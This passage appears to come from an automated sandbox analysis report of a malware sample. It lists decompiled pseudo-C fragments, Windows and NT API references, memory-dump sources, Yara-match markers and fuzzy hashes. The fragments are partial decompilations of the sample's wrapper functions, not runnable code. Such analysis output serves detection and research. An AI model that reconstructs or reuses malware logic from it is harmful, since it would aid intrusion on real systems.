                                      				}
                                      			}



















                                      0x004088bb
                                      0x004088c3
                                      0x004088c5
                                      0x004088ca
                                      0x004088cf
                                      0x004088e2
                                      0x004088e7
                                      0x004088f0
                                      0x004088fc
                                      0x0040890f
                                      0x00408914
                                      0x00408917
                                      0x00408920
                                      0x00408932
                                      0x00408937
                                      0x0040893c
                                      0x00000000
                                      0x00000000
                                      0x0040893e
                                      0x00408942
                                      0x00000000
                                      0x00000000
                                      0x00408944
                                      0x00000000
                                      0x00408942
                                      0x00408946
                                      0x00408949
                                      0x0040894f
                                      0x00408951
                                      0x0040895c
                                      0x00408961
                                      0x00408964
                                      0x00408971
                                      0x0040897c
                                      0x0040897e
                                      0x00408984
                                      0x00408988
                                      0x0040898b
                                      0x0040898b
                                      0x00408992
                                      0x00408995
                                      0x0040899a
                                      0x004089a7
                                      0x004088d6
                                      0x004088d6
                                      0x004088d6

                                      Memory Dump Source
                                      • Source File: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 67bb4e2207c22d687f6acc024d55c7e0c161e5d4599185de851a30ee67947c6b
                                      • Instruction ID: aa626ceb7ef0a3bcdbf1efb1d9dc2f5a7bb3811b4857f0e914c6161f28eec10c
                                      • Opcode Fuzzy Hash: 67bb4e2207c22d687f6acc024d55c7e0c161e5d4599185de851a30ee67947c6b
                                      • Instruction Fuzzy Hash: FE213AB3D402085BDB10E6649D42BFF73AC9B50304F44057FF989A3182F638BB4987A6
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 42%
                                      			E004184C2(int __eax, void* __edx, void* __eflags, void* _a4, long _a8, void* _a12) {
                                      				intOrPtr _v0;
                                      				char _t13;
                                      				void* _t20;
                                      
                                      				asm("cdq");
                                      				if(__eflags >= 0) {
                                      					_push(es);
                                      					ExitProcess(__eax);
                                      				}
                                      				asm("hlt");
                                      				_push(es);
                                      				asm("rcr dword [ebp-0x102656e4], 1");
                                      				asm("enter 0x8b55, 0xec");
                                      				_t10 = _v0;
                                      				_t4 = _t10 + 0xc74; // 0xc74
                                      				E00418DC0(_t20, _v0, _t4,  *((intOrPtr*)(_v0 + 0x10)), 0, 0x35);
                                      				_t13 = RtlFreeHeap(_a4, _a8, _a12); // executed
                                      				return _t13;
                                      			}






                                      0x004184c2
                                      0x004184c4
                                      0x00418533
                                      0x00418538
                                      0x00418538
                                      0x004184c6
                                      0x004184c7
                                      0x004184c8
                                      0x004184ce
                                      0x004184d3
                                      0x004184df
                                      0x004184e7
                                      0x004184fd
                                      0x00418501

                                      APIs
                                      • RtlFreeHeap.NTDLL(00000060,00408AF3,?,?,00408AF3,00000060,00000000,00000000,?,?,00408AF3,?,00000000), ref: 004184FD
                                      • ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 00418538
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                      Yara matches
                                      Similarity
                                      • API ID: ExitFreeHeapProcess
                                      • String ID:
                                      • API String ID: 1180424539-0
                                      • Opcode ID: 6276038e082bd0c4f04c53630da26b384837015e5a082663296cf47f3eb34526
                                      • Instruction ID: 1f1524f4ac1843a406e0a17c38d7b9b96a56b81d03842980a112d6c2d9c1eaaa
                                      • Opcode Fuzzy Hash: 6276038e082bd0c4f04c53630da26b384837015e5a082663296cf47f3eb34526
                                      • Instruction Fuzzy Hash: 9DF085B12016207BDB08DF65DC45EEB336DAF84714F008559F8089B282CA34EA108AF0
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 82%
                                      			E00407260(void* __eflags, intOrPtr _a4, long _a8) {
                                      				char _v67;
                                      				char _v68;
                                      				void* _t12;
                                      				intOrPtr* _t13;
                                      				int _t14;
                                      				long _t21;
                                      				intOrPtr* _t25;
                                      				void* _t26;
                                      				void* _t30;
                                      
                                      				_t30 = __eflags;
                                      				_v68 = 0;
                                      				E00419D20( &_v67, 0, 0x3f);
                                      				E0041A900( &_v68, 3);
                                      				_t12 = E00409B20(_t30, _a4 + 0x1c,  &_v68); // executed
                                      				_t13 = E00413E30(_a4 + 0x1c, _t12, 0, 0, 0xc4e7b6d6);
                                      				_t25 = _t13;
                                      				if(_t25 != 0) {
                                      					_t21 = _a8;
                                      					_t14 = PostThreadMessageW(_t21, 0x111, 0, 0); // executed
                                      					_t32 = _t14;
                                      					if(_t14 == 0) {
                                      						_t14 =  *_t25(_t21, 0x8003, _t26 + (E00409280(_t32, 1, 8) & 0x000000ff) - 0x40, _t14);
                                      					}
                                      					return _t14;
                                      				}
                                      				return _t13;
                                      			}












                                      0x00407260
                                      0x0040726f
                                      0x00407273
                                      0x0040727e
                                      0x0040728e
                                      0x0040729e
                                      0x004072a3
                                      0x004072aa
                                      0x004072ad
                                      0x004072ba
                                      0x004072bc
                                      0x004072be
                                      0x004072db
                                      0x004072db
                                      0x00000000
                                      0x004072dd
                                      0x004072e2

                                      APIs
                                      • PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 004072BA
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                      Yara matches
                                      Similarity
                                      • API ID: MessagePostThread
                                      • String ID:
                                      • API String ID: 1836367815-0
                                      • Opcode ID: 2611248cf2981be21f72ca7afad4f10f88413beaa9ea5ad5021ab45b4f53d4d7
                                      • Instruction ID: bbcd0b2e5740072d15388175686a93538b06234ac68ffc2b081785cbfc84dfa6
                                      • Opcode Fuzzy Hash: 2611248cf2981be21f72ca7afad4f10f88413beaa9ea5ad5021ab45b4f53d4d7
                                      • Instruction Fuzzy Hash: 2B01D431A8022876E720A6959C03FFF772C9B00B54F05405EFF04BA1C2E6A87D0682EA
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 37%
                                      			E00407237(void* __edx, void* __edi) {
                                      				void* _t6;
                                      				void* _t7;
                                      				void* _t10;
                                      
                                      				asm("std");
                                      				asm("loope 0x58");
                                      				_t7 = E00419700(_t6, _t10, 0x11c6f95e);
                                      				return E004195B0(_t10) + _t7 + 0x1000;
                                      			}






                                      0x0040723e
                                      0x0040723f
                                      0x00407246
                                      0x0040725d

                                      APIs
                                      • PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 004072BA
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                      Yara matches
                                      Similarity
                                      • API ID: MessagePostThread
                                      • String ID:
                                      • API String ID: 1836367815-0
                                      • Opcode ID: 0acc02640e3d3b80fe188a09f9122927fb84811f803f902f80ee10a0097cbd86
                                      • Instruction ID: f8713cc391fc01a55a860a7657667fdbdd1b144e09591d41ffae3c6c7f21aabe
                                      • Opcode Fuzzy Hash: 0acc02640e3d3b80fe188a09f9122927fb84811f803f902f80ee10a0097cbd86
                                      • Instruction Fuzzy Hash: 4FF02173E4021872E72165A16C03FFE775C5B40715F1900BFFE04BA2C2E6A95D0982E6
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 50%
                                      			E00418622(intOrPtr __ebx, void* __ecx, void* __edx, void* __edi, intOrPtr* __esi, intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
                                      				int _t14;
                                      
                                      				asm("cdq");
                                      				asm("wait");
                                      				 *__esi = __ebx;
                                      				 *((intOrPtr*)(__ecx - 0x5b)) =  *((intOrPtr*)(__ecx - 0x5b)) + __ecx;
                                      				asm("loope 0x56");
                                      				_t11 = _a4;
                                      				_push(__esi);
                                      				E00418DC0(__edi, _a4, _a4 + 0xc8c,  *((intOrPtr*)(_t11 + 0xa18)), 0, 0x46);
                                      				_t14 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
                                      				return _t14;
                                      			}




                                      0x00418624
                                      0x00418625
                                      0x00418626
                                      0x00418628
                                      0x0041862b
                                      0x00418633
                                      0x0041863c
                                      0x0041864a
                                      0x00418660
                                      0x00418664

                                      APIs
                                      • LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CFA2,0040CFA2,00000041,00000000,?,00408B65), ref: 00418660
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                      Yara matches
                                      Similarity
                                      • API ID: LookupPrivilegeValue
                                      • String ID:
                                      • API String ID: 3899507212-0
                                      • Opcode ID: 7e1f7af947ac6921e8ac61b99bddb0d5b60acc004652374b13d2a2a7438a5eb9
                                      • Instruction ID: 734e9beb81778b68ab8ef117d2f85dc7eb98c641e4c839b71a6943882db74c9f
                                      • Opcode Fuzzy Hash: 7e1f7af947ac6921e8ac61b99bddb0d5b60acc004652374b13d2a2a7438a5eb9
                                      • Instruction Fuzzy Hash: 7F0181B2600204AFDB24DF59DC88DE777A9EF85320F05849EF94C5B642DA34A950CBB5
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E004184D0(intOrPtr _a4, void* _a8, long _a12, void* _a16) {
                                      				char _t10;
                                      				void* _t15;
                                      
                                      				_t3 = _a4 + 0xc74; // 0xc74
                                      				E00418DC0(_t15, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x35);
                                      				_t10 = RtlFreeHeap(_a8, _a12, _a16); // executed
                                      				return _t10;
                                      			}





                                      0x004184df
                                      0x004184e7
                                      0x004184fd
                                      0x00418501

                                      APIs
                                      • RtlFreeHeap.NTDLL(00000060,00408AF3,?,?,00408AF3,00000060,00000000,00000000,?,?,00408AF3,?,00000000), ref: 004184FD
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                      Yara matches
                                      Similarity
                                      • API ID: FreeHeap
                                      • String ID:
                                      • API String ID: 3298025750-0
                                      • Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
                                      • Instruction ID: 0c1265b7fbf046cbfd36917309396888787f1b5b9f48543de1c0af89871077f5
                                      • Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
                                      • Instruction Fuzzy Hash: 2EE01AB12002046BD714DF59DC45EA777ACAF88750F014559F90857241CA30E9108AB0
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E00418490(intOrPtr _a4, void* _a8, long _a12, long _a16) {
                                      				void* _t10;
                                      				void* _t15;
                                      
                                      				E00418DC0(_t15, _a4, _a4 + 0xc70,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x34);
                                      				_t10 = RtlAllocateHeap(_a8, _a12, _a16); // executed
                                      				return _t10;
                                      			}





                                      0x004184a7
                                      0x004184bd
                                      0x004184c1

                                      APIs
                                      • RtlAllocateHeap.NTDLL(00413516,?,00413C8F,00413C8F,?,00413516,?,?,?,?,?,00000000,00408AF3,?), ref: 004184BD
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                      Yara matches
                                      Similarity
                                      • API ID: AllocateHeap
                                      • String ID:
                                      • API String ID: 1279760036-0
                                      • Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
                                      • Instruction ID: d4cd8ba0fc8cb19801f053331f4cf649e26225416c3eadc5d6da7764d9533391
                                      • Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
                                      • Instruction Fuzzy Hash: 81E012B1200208ABDB14EF99DC41EA777ACAF88654F118559FA085B282CA30F9108AB0
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E00418630(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
                                      				int _t10;
                                      				void* _t15;
                                      
                                      				E00418DC0(_t15, _a4, _a4 + 0xc8c,  *((intOrPtr*)(_a4 + 0xa18)), 0, 0x46);
                                      				_t10 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
                                      				return _t10;
                                      			}





                                      0x0041864a
                                      0x00418660
                                      0x00418664

                                      APIs
                                      • LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CFA2,0040CFA2,00000041,00000000,?,00408B65), ref: 00418660
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                      Yara matches
                                      Similarity
                                      • API ID: LookupPrivilegeValue
                                      • String ID:
                                      • API String ID: 3899507212-0
                                      • Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
                                      • Instruction ID: a95af6b202be8dae21372797db95a078404a8f30fafd20f5c772dce95c9aa66f
                                      • Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
                                      • Instruction Fuzzy Hash: 31E01AB12002086BDB10DF49DC85EE737ADAF89650F018559FA0857241CA34E8108BF5
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 25%
                                      			E00418503(int _a4) {
                                      				intOrPtr _v0;
                                      				int _t13;
                                      				void* _t14;
                                      
                                      				asm("aaa");
                                      				_push(0xfffffff2);
                                      				asm("in al, 0x9b");
                                      				asm("ds lodsd");
                                      				asm("in eax, dx");
                                      				_t7 = _v0;
                                      				E00418DC0(_t14, _v0, _v0 + 0xc7c,  *((intOrPtr*)(_t7 + 0xa14)), 0, 0x36);
                                      				_t13 = _a4;
                                      				_push(es);
                                      				ExitProcess(_t13);
                                      			}






                                      0x00418503
                                      0x00418504
                                      0x00418506
                                      0x00418508
                                      0x0041850b
                                      0x00418513
                                      0x0041852a
                                      0x0041852f
                                      0x00418533
                                      0x00418538

                                      APIs
                                      • ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 00418538
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                      Yara matches
                                      Similarity
                                      • API ID: ExitProcess
                                      • String ID:
                                      • API String ID: 621844428-0
                                      • Opcode ID: 4a8f5b91ed47a6ef989da3625f91eaeb24e0bfcdb30378bdf4b3f6a7fc3b8049
                                      • Instruction ID: 733d29b75ee70bfe9c4233f2d703285ed2f02a2793d58f6eb7a7b9b4aa2772e5
                                      • Opcode Fuzzy Hash: 4a8f5b91ed47a6ef989da3625f91eaeb24e0bfcdb30378bdf4b3f6a7fc3b8049
                                      • Instruction Fuzzy Hash: B2E0267014421077C610DF58CC81FD337A98F49760F108218B9185B3C2C631EA00C6E0
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 75%
                                      			E00418510(intOrPtr _a4, int _a8) {
                                      				int _t9;
                                      				void* _t10;
                                      
                                      				_t5 = _a4;
                                      				E00418DC0(_t10, _a4, _a4 + 0xc7c,  *((intOrPtr*)(_t5 + 0xa14)), 0, 0x36);
                                      				_t9 = _a8;
                                      				_push(es);
                                      				ExitProcess(_t9);
                                      			}





                                      0x00418513
                                      0x0041852a
                                      0x0041852f
                                      0x00418533
                                      0x00418538

                                      APIs
                                      • ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 00418538
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                      Yara matches
                                      Similarity
                                      • API ID: ExitProcess
                                      • String ID:
                                      • API String ID: 621844428-0
                                      • Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
                                      • Instruction ID: 7205fd5e3e27dabd4e13006f85928de99448ffddaf0958f387cae24292a3a6f6
                                      • Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
                                      • Instruction Fuzzy Hash: ACD012716003147BD620DF99DC85FD7779CDF49750F018469BA1C5B241C931BA0086E1
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Non-executed Functions

                                      Memory Dump Source
                                      • Source File: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 0f76368403537b5f97d5d35fc21a36f9c062e2a944a7827655d55ca28e51b4f9
                                      • Instruction ID: 556a8ab6025c5e6b42a4dd49bfd4c51bafec99983e1b4ab88b3550e167b9a2d6
                                      • Opcode Fuzzy Hash: 0f76368403537b5f97d5d35fc21a36f9c062e2a944a7827655d55ca28e51b4f9
                                      • Instruction Fuzzy Hash: D5C04CB695A1144BD2145D5CA8412B5F3689B4A624F0072979D08B365055469891869D
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Memory Dump Source
                                      • Source File: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: a46190996f7964c5fbeb68d5ac73198b1a2465e884130f2aa88d50b4b61ae298
                                      • Instruction ID: bc334e9d5f75f650022ebb6bb1f02e2069c15825136a6aeae7b5fa5ffae8799e
                                      • Opcode Fuzzy Hash: a46190996f7964c5fbeb68d5ac73198b1a2465e884130f2aa88d50b4b61ae298
                                      • Instruction Fuzzy Hash: B2A00127F9A02A1594265C497D420B8F368D18703AF1033A7DD48B76819A46C42601EE
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Executed Functions

                                      APIs
                                      • NtCreateFile.NTDLL(00000060,00000000,.z`,00883B97,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,00883B97,007A002E,00000000,00000060,00000000,00000000), ref: 0088820D
                                      Strings
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: false
                                      Yara matches
                                      Similarity
                                      • API ID: CreateFile
                                      • String ID: .z`
                                      • API String ID: 823142352-1441809116
                                      • Opcode ID: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
                                      • Instruction ID: f59dc6280e6e22ed01d44181e7bb32feb73d99d1bbfa3b3aea2911120d3ba229
                                      • Opcode Fuzzy Hash: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
                                      • Instruction Fuzzy Hash: B4F0B6B2200108ABCB08DF88DC85DEB77ADAF8C754F158248FA0D97241C630E8118BA4
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • NtReadFile.NTDLL(00883D52,5E972F59,FFFFFFFF,00883A11,?,?,00883D52,?,00883A11,FFFFFFFF,5E972F59,00883D52,?,00000000), ref: 008882B5
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: false
                                      Yara matches
                                      Similarity
                                      • API ID: FileRead
                                      • String ID:
                                      • API String ID: 2738559852-0
                                      • Opcode ID: 3ffacb5f0d33f652932c5c9397e95c2d023bb7fa7b019785854e74c152f5a929
                                      • Instruction ID: 889246ef586d8bba91df6a1901e7a244c8580d4793636be40adfbb520132d0c6
                                      • Opcode Fuzzy Hash: 3ffacb5f0d33f652932c5c9397e95c2d023bb7fa7b019785854e74c152f5a929
                                      • Instruction Fuzzy Hash: EEF0E2B2200108ABCB08DF88DC81EEB77A9EF8C354F018248BE1D97251CA30E8118BA0
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • NtReadFile.NTDLL(00883D52,5E972F59,FFFFFFFF,00883A11,?,?,00883D52,?,00883A11,FFFFFFFF,5E972F59,00883D52,?,00000000), ref: 008882B5
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: false
                                      Yara matches
                                      Similarity
                                      • API ID: FileRead
                                      • String ID:
                                      • API String ID: 2738559852-0
                                      • Opcode ID: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
                                      • Instruction ID: c04c1f483692fcd73e65ffe11c694f7822b261c64a163f4eee71b091b5335379
                                      • Opcode Fuzzy Hash: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
                                      • Instruction Fuzzy Hash: F4F0A4B2200208ABCB14DF89DC81EEB77ADEF8C754F158648BA1D97241DA30E8118BA0
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,00872D11,00002000,00003000,00000004), ref: 008883D9
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: false
                                      Yara matches
                                      Similarity
                                      • API ID: AllocateMemoryVirtual
                                      • String ID:
                                      • API String ID: 2167126740-0
                                      • Opcode ID: c75104b6a5db2d10e284b22448f10c79ebf02d3ad2e61b3e2f097a398899230f
                                      • Instruction ID: 7730695736c0700f486526a5400eb387d637dfa59957cde45ebb61fd9250ed48
                                      • Opcode Fuzzy Hash: c75104b6a5db2d10e284b22448f10c79ebf02d3ad2e61b3e2f097a398899230f
                                      • Instruction Fuzzy Hash: 7CF0F8B5201109ABDB14DF88CC80EE777A9FF88354F158648FA0897251CA34E920CBE0
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,00872D11,00002000,00003000,00000004), ref: 008883D9
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: false
                                      Yara matches
                                      Similarity
                                      • API ID: AllocateMemoryVirtual
                                      • String ID:
                                      • API String ID: 2167126740-0
                                      • Opcode ID: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
                                      • Instruction ID: 941c6eb04ecfa35b85b06c681c1103d7009ad9538f374213f8573c55458cb312
                                      • Opcode Fuzzy Hash: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
                                      • Instruction Fuzzy Hash: 85F015B2200208ABCB14DF89CC81EAB77ADEF88750F118548FE0897241CA30F810CBA0
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • NtClose.NTDLL(00883D30,?,?,00883D30,00000000,FFFFFFFF), ref: 00888315
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: false
                                      Yara matches
                                      Similarity
                                      • API ID: Close
                                      • String ID:
                                      • API String ID: 3535843008-0
                                      • Opcode ID: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
                                      • Instruction ID: ff0eb7dea0f8f8463486c8ae9515ac95491fbc424674a9fc48557aa7b0092e68
                                      • Opcode Fuzzy Hash: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
                                      • Instruction Fuzzy Hash: 31D01776200214ABD710EF98CC85EA77BADEF48760F154499BA189B282C930FA0087E0
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: InitializeThunk
                                      • String ID:
                                      • API String ID: 2994545307-0
                                      • Opcode ID: 5246223d7480445a9df1d737a6bfc8dc9f895e08718398a227017204323dad3e
                                      • Instruction ID: 127b967cbcff5beb77aa3b1ece03fa76e636774383463791b7210b2ced9a2c41
                                      • Opcode Fuzzy Hash: 5246223d7480445a9df1d737a6bfc8dc9f895e08718398a227017204323dad3e
                                      • Instruction Fuzzy Hash: 1990027121104803D140AD9954096860019D7E1341F51D021A5014955EC7A598D17671
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: InitializeThunk
                                      • String ID:
                                      • API String ID: 2994545307-0
                                      • Opcode ID: 26be545bbdb62bb2cccff8567c80bc7457c19ab7a23eea7a5709222f5b221468
                                      • Instruction ID: 22c7bdf6648e1eeb61b75e3ef3d28cd59cc080b0d1913a000cfb912156a372b7
                                      • Opcode Fuzzy Hash: 26be545bbdb62bb2cccff8567c80bc7457c19ab7a23eea7a5709222f5b221468
                                      • Instruction Fuzzy Hash: 8590027132118803D150A95984057460019D7D2241F51C421A0814958DC7D598D17662
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: InitializeThunk
                                      • String ID:
                                      • API String ID: 2994545307-0
                                      • Opcode ID: 3a6a7dc960ade52f80ca7a22b54438b4d5a16d428724b6a7d11a7446eda40398
                                      • Instruction ID: d2391c7c7925c9cdc4637a7eee2932c58ca7275795e925d8d4332ea6da703537
                                      • Opcode Fuzzy Hash: 3a6a7dc960ade52f80ca7a22b54438b4d5a16d428724b6a7d11a7446eda40398
                                      • Instruction Fuzzy Hash: 2D90026922304403D1C0B959540964A0019D7D2242F91D425A0005958CCB5598A96761
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: InitializeThunk
                                      • String ID:
                                      • API String ID: 2994545307-0
                                      • Opcode ID: a6f09ed0552ed08af78dc1f614ae50e775e941e63afd891ba597f008c15e8b03
                                      • Instruction ID: 7acfe1f412cbe2f4f93caaf7d2e451b3c0ed566632ec07893ae29aa4990aeeef
                                      • Opcode Fuzzy Hash: a6f09ed0552ed08af78dc1f614ae50e775e941e63afd891ba597f008c15e8b03
                                      • Instruction Fuzzy Hash: 2F90027121104C03D1C0B959440568A0019D7D2341F91C025A0015A54DCB559A997BE1
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: InitializeThunk
                                      • String ID:
                                      • API String ID: 2994545307-0
                                      • Opcode ID: 273f4dc655b37ed204ea451084ef5bf5c0f6a4b250cc417c701e0ff3f496388a
                                      • Instruction ID: a9e3daf032a47b4d21feaf94fb84d20af93ce8f191da996dd6ca6d04d696cbca
                                      • Opcode Fuzzy Hash: 273f4dc655b37ed204ea451084ef5bf5c0f6a4b250cc417c701e0ff3f496388a
                                      • Instruction Fuzzy Hash: FB90027121508C43D180B9594405A860029D7D1345F51C021A0054A94DD7659D95BBA1
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: InitializeThunk
                                      • String ID:
                                      • API String ID: 2994545307-0
                                      • Opcode ID: 1fd4e2bc7c1db7bef9620da56bf5360aef828a3802ac29b5096294715d8ba0ed
                                      • Instruction ID: a07788b6013aae1e65add7e8e8efe50ab7b6e074f6c24365a06b7f569b5a0b5f
                                      • Opcode Fuzzy Hash: 1fd4e2bc7c1db7bef9620da56bf5360aef828a3802ac29b5096294715d8ba0ed
                                      • Instruction Fuzzy Hash: 0F90026122184443D240AD694C15B470019D7D1343F51C125A0144954CCB5598A16A61
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: InitializeThunk
                                      • String ID:
                                      • API String ID: 2994545307-0
